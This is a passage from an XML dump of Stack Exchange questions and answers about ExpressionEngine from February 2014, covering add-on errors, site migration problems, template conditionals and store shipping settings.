  <row Id="19510" PostTypeId="2" ParentId="19509" CreationDate="2014-02-17T22:54:34.293" Score="1" Body="&lt;p&gt;Looks like you need the &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-catmenu/documentation&quot; rel=&quot;nofollow&quot;&gt;GW CatMenu&lt;/a&gt; add-on; class_current isn't listed in the docs for GW Categories.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-02-17T22:54:34.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19511" PostTypeId="2" ParentId="19397" CreationDate="2014-02-18T00:13:11.237" Score="0" Body="&lt;p&gt;To fix this problem I'm using the Cat2 addon to convert category id into something else (in my case url_title):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;     {if &quot;{category_group_id}&quot; == &quot;12&quot; &amp;amp;&amp;amp; &quot;{category_depth}&quot; &amp;gt; 1}&#xA;          {exp:cat2:url_title category_id=&quot;{category_parent}&quot;}&#xA;     {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-18T00:13:11.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19513" PostTypeId="1" AcceptedAnswerId="20856" CreationDate="2014-02-18T01:31:24.850" Score="0" ViewCount="186" Body="&lt;p&gt;I'm using: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE v2.7.3&lt;/li&gt;&#xA;&lt;li&gt;Assets v2.2.4&lt;/li&gt;&#xA;&lt;li&gt;Matrix v2.5.10&lt;/li&gt;&#xA;&lt;li&gt;Low Vars v2.4.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Error message (only displayed when on Low Vars page):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: entry_id&#xA;  Filename: assets/ft.assets.php&#xA;  Line Number: 647&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's obviously got something to do with that switch statement in assets/ft.assets.php if I comment the grid/matrix case out the error disappears. Of course that causes more issues though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2014-03-31T19:51:10.070" Title="PHP errors displayed in CP when using an Assets filed within a Matrix within Low Variable" Tags="|matrix|assets|low-variables|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19514" PostTypeId="2" ParentId="19413" CreationDate="2014-02-18T03:14:40.853" Score="0" Body="&lt;p&gt;The price:plus_tax tag won't work with a text field. It needs to be one of the various CartThrob Price Fieldtypes to use that tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the &lt;code&gt;{exp:cartthrob:item_options}&lt;/code&gt; tag to display your matrix modifiers, you'll be able to use :plus_tax.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-18T03:14:40.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19515" PostTypeId="1" AcceptedAnswerId="19516" CreationDate="2014-02-18T03:37:01.023" Score="1" ViewCount="239" Body="&lt;p&gt;I got an established site running locally on my computer and updated EE from 1.6.9 to 2.7.3. I also made other modifications to the site and it was working fine locally. I moved all the local site files to the live host and renamed the old stuff &quot;system_old, themes_old, etc.&quot; like I was doing an upgrade. After everything was uploaded I changed the folder names and dropped the live DB and then imported the updated DB. I get a white page when trying to access control panel and the front-end of site. I have attached an image of the debug error I get. I can see the old local path is still there... I 99% sure my DB is connected ok, and all files have been uploaded. I haven't changed any paths yet, because I cant login to the CP...any ideas? I really need to get this working soon as my site is down :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've managed to get rid of the PHP errors, but the Fatal Error belwo those is still there causing issues...any idea what that is from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X9HDy.png&quot; alt=&quot;screenshot of errors&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2014-02-18T03:53:52.540" LastActivityDate="2014-02-18T06:44:18.407" Title="Moved updated site to live hosting, getting white screen on front-end and when trying to view CP login page" Tags="|upgrade|blank-screen|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19516" PostTypeId="2" ParentId="19515" CreationDate="2014-02-18T03:58:01.333" Score="3" Body="&lt;p&gt;From these errors it looks like the paths are pointing to folders that don't exist (because you're moving from a local setup to live). Have you ever used a multi-environment config like &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's Master Config&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can't log into the control panel and it &lt;em&gt;looks&lt;/em&gt; like the issue has to do with paths, you could get the paths reconfigured using a multi-environment config. Focus Lab documented the installation process very well. I'd recommend looking into it.&lt;/p&gt;&#xA;" OwnerUserId="223" LastActivityDate="2014-02-18T03:58:01.333" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19517" PostTypeId="2" ParentId="19515" CreationDate="2014-02-18T03:58:46.930" Score="1" Body="&lt;p&gt;It looks like you still have references to your local filesystem for both your &lt;strong&gt;themes&lt;/strong&gt; folder and your &lt;strong&gt;templates&lt;/strong&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These values might be set in your &lt;code&gt;config.php&lt;/code&gt; file, or directly in the database. (If you set them via config, you can override any bad values in the database.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pop these in your &lt;code&gt;config.php&lt;/code&gt; file to fix this up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['tmpl_file_basepath'] = '/real/path/to/templates';&#xA;$config['theme_folder_path'] = '/real/path/to/themes';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-18T03:58:46.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19518" PostTypeId="2" ParentId="19515" CreationDate="2014-02-18T06:44:18.407" Score="0" Body="&lt;p&gt;Excellent suggestions by Derek and Aaron. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be something much simpler -- try re-uploading ALL files and reset permissions. White screens can caused by corrupted files during transfer via FTP/SFTP. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-02-18T06:44:18.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19520" PostTypeId="2" ParentId="19513" CreationDate="2014-02-18T07:53:32.623" Score="0" Body="&lt;p&gt;If you add the following code before the switch, the error should go away - this will be included in the next Assets release :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($context == 'grid' || $context == 'matrix') &amp;amp;&amp;amp; !empty($this-&amp;gt;var_id))&#xA;{&#xA;    $context = 'low';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-02-18T07:53:32.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19521" PostTypeId="2" ParentId="18931" CreationDate="2014-02-18T07:59:30.583" Score="0" Body="&lt;p&gt;Might be a DNS issue - try clearing DNS cache &lt;a href=&quot;http://www.ihash.eu/2013/10/clear-dns-cache-mac-osx-10-9-mavericks/&quot; rel=&quot;nofollow&quot;&gt;http://www.ihash.eu/2013/10/clear-dns-cache-mac-osx-10-9-mavericks/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-02-18T07:59:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19522" PostTypeId="1" CreationDate="2014-02-18T09:47:14.623" Score="0" ViewCount="25" Body="&lt;p&gt;I'm looking for a way to display entries in the control panel in the order of being last updated. I saw that EE1 has the hook edit_entries_additional_celldata but it's not present in EE2. Is there any other way I can add new columns to the search entries table in the CP?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2014-02-18T09:47:14.623" Title="edit_entries_additional_celldata" Tags="|ee2|control-panel|add-on-development|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19523" PostTypeId="1" CreationDate="2014-02-18T10:11:58.933" Score="2" ViewCount="155" Body="&lt;p&gt;I'm fairly new to ExpressionEngine, and I hope the problem I'm running into is a simple one to solve. I'll try to illustrate it as best as possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a radio button field (created within a channel form) called &lt;code&gt;favorite_food&lt;/code&gt;. It has 4 options, namely &lt;code&gt;Pasta&lt;/code&gt;, &lt;code&gt;Vegetables&lt;/code&gt;, &lt;code&gt;Poultry&lt;/code&gt;, and &lt;code&gt;Fruit&lt;/code&gt;. The form displays great, and submitted values are saved in the channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes in when I'm trying to display the results on another template, and specifically adding a conditional statement that checks if the user selected &lt;code&gt;Fruit&lt;/code&gt; or not is causing me to go a little crazy. This is what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;foods&quot; entry_id=&quot;{segment_4}&quot;}&#xA;&#xA;    &amp;lt;!-- displays &quot;Fruit&quot; successfully --&amp;gt;&#xA;    &amp;lt;div&amp;gt;{favorite_food}&amp;lt;/div&amp;gt; (displays Fruit on the screen)&#xA;&#xA;    &amp;lt;!-- this does not display anything at all? --&amp;gt;&#xA;    {if favorite_food == &quot;Fruit&quot;}&#xA;        &amp;lt;div&amp;gt;You chose fruit!&amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;!-- even with PHP, this works great... --&amp;gt;&#xA;    &amp;lt;?php echo &quot;{favorite_food}&quot;; ?&amp;gt;&#xA;&#xA;    &amp;lt;!-- ...but this also doesn't display anything at all? --&amp;gt;&#xA;    &amp;lt;?php&#xA;        if (&quot;{favorite_food}&quot; == &quot;Fruit&quot;)&#xA;            echo &quot;&amp;lt;div&amp;gt;You chose fruit!&amp;lt;/div&amp;gt;&quot;;&#xA;    ?&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should mention that the PHP parsing is set to &quot;input&quot; on this template too. I hope I'm missing something really obvious here...thanks in advance for any assistance!&lt;/p&gt;&#xA;" OwnerUserId="2432" LastEditorUserId="2432" LastEditDate="2014-02-18T10:19:33.123" LastActivityDate="2014-02-18T13:48:14.310" Title="Simple conditional statement and parse order problem" Tags="|ee2|conditionals|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19524" PostTypeId="1" AcceptedAnswerId="19810" CreationDate="2014-02-18T10:12:53.510" Score="1" ViewCount="209" Body="&lt;p&gt;I'm trying to update my install of expressionengine from 2.5.3 to 2.7.3 using DevDemon's Updater module. I installed Updater and then dragged the EE2.7.3 zip into Updater and clicked Start Queue. It then said it was Waiting for a response from the server but didn't do anything. Now when I go to the control panel it just gives me the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;error&quot;:&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to load the requested class: localize&amp;lt;/p&gt;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then deleted the Installer folder which it had created and it went back to normal but it hasn't managed to update EE. What's the next steps to take to work out what's gone wrong?&lt;/p&gt;&#xA;" OwnerUserId="961" LastActivityDate="2014-02-27T03:45:08.340" Title="Devdemon Updater error: Unable to load the requested class: localize" Tags="|ee2|devdemon-updater|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19525" PostTypeId="1" CreationDate="2014-02-18T10:36:33.863" Score="2" ViewCount="58" Body="&lt;p&gt;I'd like to use some templates to display content at segment 4 of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/news/world/australia/melbourne&quot; rel=&quot;nofollow&quot;&gt;http://example.com/news/world/australia/melbourne&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News and World have their own templates and Australia is channel entry that uses the same template as World. I'd like to extend the Australia channel entry to Melbourne and use a new template but not sure how? &lt;/p&gt;&#xA;" OwnerUserId="1465" LastActivityDate="2014-02-18T13:09:51.177" Title="Long URL's and templates" Tags="|channel-entries|segments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19526" PostTypeId="1" CreationDate="2014-02-18T10:46:16.640" Score="1" ViewCount="131" Body="&lt;p&gt;Our client has asked us to help setup different shipping rates for Northern Ireland in CartThrob. This poses a problem because Northern Ireland is classed as part of the UK and so it does not have a separate country code to match shipping rates to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present on our site we use the &lt;a href=&quot;https://cartthrob.com/site/product_detail/multi-location-manager&quot; rel=&quot;nofollow&quot;&gt;Multi Location Manager&lt;/a&gt; to set 'By Location - Price Threshold' for countries outside of the UK and 'Customer Selectable Rates' for everyone inside the UK, which offers Standard Delivery and Next Day Delivery options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like to be able to offer Standard Delivery and Next Day Delivery options to Northern Ireland customers but at different rates to elsewhere in the UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, some kind of Table Rate would probably be best suited, so that we can match Northern Ireland postcodes (which all start with 'BT').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However we need to ensure we can still offer the Customer Selectable Rates to Northern Ireland customers.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-03-30T01:03:03.053" Title="Different shipping rates to countries inside the UK" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19527" PostTypeId="2" ParentId="19147" CreationDate="2014-02-18T12:19:33.173" Score="1" Body="&lt;p&gt;I believe that's generally located in the General Channel Settings, and would need to be set per channel, which makes sense, since comments can be turned on and off per channel. See image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQO5N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-02-18T12:19:33.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19528" PostTypeId="2" ParentId="19525" CreationDate="2014-02-18T13:09:51.177" Score="1" Body="&lt;p&gt;There are probably other ways to do it, but you could…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn off dynamic processing of url's since segment_3 will not be an article title. Then use &lt;code&gt;{if}&lt;/code&gt; statements. For example, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 ==&quot;australia&quot; AND segment_4 ==&quot;&quot;}&#xA;   &amp;lt;p&amp;gt;return this&amp;lt;/p&amp;gt;&#xA;{if:else segment_3 ==&quot;australia&quot; AND segment_4 ==&quot;melbourne&quot;}&#xA;    {embed=&quot;australia/cities&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your template to process city information, would then be displayed on the country template. It's like setting up a single page site processor, within a template group. Basically, you are controlling the url with various {if} statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only concern here would be about the potential number of cities you'd like to display. Manual specification of the cities pretty much means manual modification of template every time a new city is added. You might want something more flexible to add cities on the fly.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-02-18T13:09:51.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19529" PostTypeId="1" CreationDate="2014-02-18T13:22:13.703" Score="0" ViewCount="100" Body="&lt;p&gt;As in there are 4 default entries - call them 1, 2, 3 &amp;amp; 4 they are in fact defined by custom fields - and people can post in one of them making it ‘active’ with some predefined info (via Channel Form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this info is not there they see the default entry 1. If Mr Jones posts something to channel field 1 then it shows in the results (1A if you will) and 1 is either closed, filtered or otherwise hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can’t be done by conditionals (afaik and have tested) and set up precludes actually editing 1. It must continue to exist and reappear if 1A gets deleted by the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-02-18T15:40:05.937" Title="Anyone know of a way to toggle entries or fake it?" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19530" PostTypeId="2" ParentId="19433" CreationDate="2014-02-18T13:31:32.447" Score="1" Body="&lt;p&gt;I could not find a way to do this using member preferences as they are global for all member groups, so I got a little creative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom member field and called it &quot;approved&quot;. I made it a select field and set the selections to &quot;yes&quot; &amp;amp; &quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the registration form for the member group that I want to manually approve, I created a hidden field that automatically sets the &quot;approved&quot; value for all submissions to &quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I receive the notification email that a new member has registered, I log into the CP, check out their member profile info that they submitted and if they are approved, I set the member field to &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any templates that this member group has access to, I placed a conditional that checks the value of &quot;approved&quot; whenever someone is logged in. If the value is &quot;no&quot;, I redirect them to a page that says their account is pending. If &quot;yes&quot;, they see the normal content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an unapproved member can still login, but they won't see any content until I flip the switch.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-02-18T13:31:32.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19531" PostTypeId="1" CreationDate="2014-02-18T13:36:20.853" Score="0" ViewCount="69" Body="&lt;p&gt;I have used this a million times before, but for some reason I am unable to get the next and prev entry tags to work with the category param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;gallery&quot; category=&quot;84&quot;}&#xA;    &amp;lt;a id=&quot;gallery-prev&quot; href=&quot;{path='gallery/view'}/{segment_4}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&#xA;{exp:channel:prev_entry channel=&quot;gallery&quot; category=&quot;84&quot;}&#xA;    &amp;lt;a id=&quot;gallery-next&quot; href=&quot;{path='gallery/view'}/{segment_4}&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, even if I hard code the category ID it still doesnt work (I normally use it with a segment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the 'category' param it works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Bug? I am running EE 2.7.3&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-02-18T13:36:20.853" Title="Prev / Next entry with category param not working" Tags="|categories|next-prev|2.7.3|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19532" PostTypeId="2" ParentId="19286" CreationDate="2014-02-18T13:46:14.560" Score="0" Body="&lt;p&gt;According to Andris @ P&amp;amp;T, the issue was caused by a bug in Assets. A fix will be included in the next version of Assets.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I fixed it for your install and this fix will be included in the next Assets version, so you don't have to worry about updating, unless you update to Assets 2.2.4, which is currently the freshest version out there and it does not include this fix. If you do and this error comes back, let me know - I'll fix it again :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="952" LastActivityDate="2014-02-18T13:46:14.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19533" PostTypeId="2" ParentId="19523" CreationDate="2014-02-18T13:48:14.310" Score="2" Body="&lt;p&gt;The radio field might need to be parsed like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{favorite_food}&quot; == &quot;Fruit&quot;}&#xA;    &amp;lt;div&amp;gt;You chose fruit!&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which makes it an advanced conditional (parsed later in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;php on input&lt;/a&gt;, the php is run before the ee tags get parsed. So when the template is parsed after the php was run your php statements would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- even with PHP, this works great... --&amp;gt;&#xA;{favorite_food}&#xA;&#xA;&amp;lt;!-- ...but this also doesn't display anything at all? --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the first works. The second doesn't output anything (other than the comment) because {favorite_food} is evaluated as a string only instead of as an ee variable, and so as a conditional it's false. If on the other hand you had php set on output, the first would still work and the second should as well. &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-02-18T13:48:14.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19534" PostTypeId="1" CreationDate="2014-02-18T15:14:46.863" Score="1" ViewCount="100" Body="&lt;p&gt;I'm using Expresso Store 2 with the latest download of 2.2.0 and using EE version of 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When log into the CP and then try and view the site I get a PHP Error page with the following lines: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: include(/Users/grahamcopekoga/Documents/sites/vintageceramics/fukuoka/expressionengine/modules/member/mod.member_register.php): failed to open stream: No such file or directory&#xA;Filename: composer/ClassLoader.php&#xA;Line Number: 269&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AND THIS: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: include(): Failed opening '/Users/grahamcopekoga/Documents/sites/vintageceramics/fukuoka/expressionengine/modules/member/mod.member_register.php' for inclusion (include_path='.:/Applications/MAMP/bin/php/php5.4.10/lib/php')&#xA;Filename: composer/ClassLoader.php&#xA;Line Number: 269&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AND THIS: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'Member_register' not found in /Users/grahamcopekoga/Documents/sites/vintageceramics/fukuoka/expressionengine/third_party/store/src/Store/Service/MemberService.php on line 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm on a test server running MAMP. When I log out of the CP I can view the site, so its a login in issue with Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.  &lt;/p&gt;&#xA;" OwnerUserId="1650" LastEditorUserId="150" LastEditDate="2014-02-20T04:45:16.847" LastActivityDate="2014-02-20T04:46:04.570" Title="Expresso Store PHP Error when login into the CP" Tags="|expresso-store|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19535" PostTypeId="1" CreationDate="2014-02-18T15:21:29.537" Score="1" ViewCount="108" Body="&lt;p&gt;I'm using Expresso Store 2.2.0 and the only item in the CART that does not update is the 'Shipping' costs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of the price showing it reads '3' which is the number of the store Shipping Method in the STORE CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;order_shipping&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Shipping Country&amp;lt;/label&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;{field:shipping_country}&#xA;{if error:shipping_country}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{error:shipping_country}&amp;lt;/p&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Shipping&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this I get an output for a list of counties which is correct, but not a price! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price should output put in this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;col-xs-3 col-xs-offset-9 cart-total&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;text-right&quot;&amp;gt;Subtotal: &amp;lt;strong&amp;gt;&amp;amp;pound;{order_subtotal}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;text-right&quot;&amp;gt;Discount: &amp;lt;strong&amp;gt;&amp;amp;pound;{order_discount}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;text-right&quot;&amp;gt;Shipping to: {shipping_country_name} by {shipping_method}&amp;lt;strong&amp;gt;&amp;amp;pound;{order_shipping}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;text-right&quot;&amp;gt;Total &amp;lt;strong&amp;gt;&amp;amp;pound;{order_total}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it only putputs the number '3'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the same code on a live site with STORE 1.6 and it works fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas.&lt;/p&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2014-02-18T15:21:29.537" Title="Expresso Store Shipping not updating cost" Tags="|expresso-store|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19536" PostTypeId="1" AcceptedAnswerId="19555" CreationDate="2014-02-18T15:37:42.953" Score="2" ViewCount="40" Body="&lt;p&gt;It seems the Date field of an asset is only modified when a file is initially uploaded, thereby representing an upload date or pseudo-created date (date it was created in Assets and not necessarily when the file was created).  Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replacing an existing file with a newly uploaded one does not appear to update the date.  Is that a bug or is that intentional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other options for modifying the date other than editing it directly after an asset is replaced or writing a hook to do it automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using ExpressionEngine 2.5.3 with Assets 2.2.1.&lt;/p&gt;&#xA;" OwnerUserId="2766" LastActivityDate="2014-02-19T06:03:26.667" Title="Assets2: Date Field Expectations" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19537" PostTypeId="2" ParentId="19529" CreationDate="2014-02-18T15:40:05.937" Score="1" Body="&lt;p&gt;If I'm understanding what you are saying, and I'm not certain I am, I don't believe it can be done the way you are setting it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that you have four pieces of text, that you wish to switch between based on various conditions. My understanding of the conditions are that: (1) if content exists in a field, and (2) if content has changed / been updated in a field, and (3) all content exists within a single record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that these aren't individual entries. Adding dates and timestamps for comparison ONLY really work on individual entries. You have one entry in which you are trying to compare with itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to do this within a &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix Field&lt;/a&gt; or another field type, but otherwise, I'd state, you need multiple entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a single entry, you can do basic logic tests: is there content in field_a; does field_b contain; etc.  But with multiple records / entries you can (with some fiddling) compare dates and add other complexities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you will ONLY ever be displaying either / or entry_1 versus one of entries 2 through 4, and you have a trigger for active, then you'd should ONLY need to check a field for if it contains content and if its marked active. That's doable. Assuming only one of the fields can be active at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_one : Good Morning Sir&#xA;field_two : You'll fine today's weather horrid&#xA;field_three: The sky is a brilliant blue sir, the day awaits you…&#xA;field_four: Stay home, Go back to bed. Hide I say, HIDE!!&#xA;field_active: one, two, three, 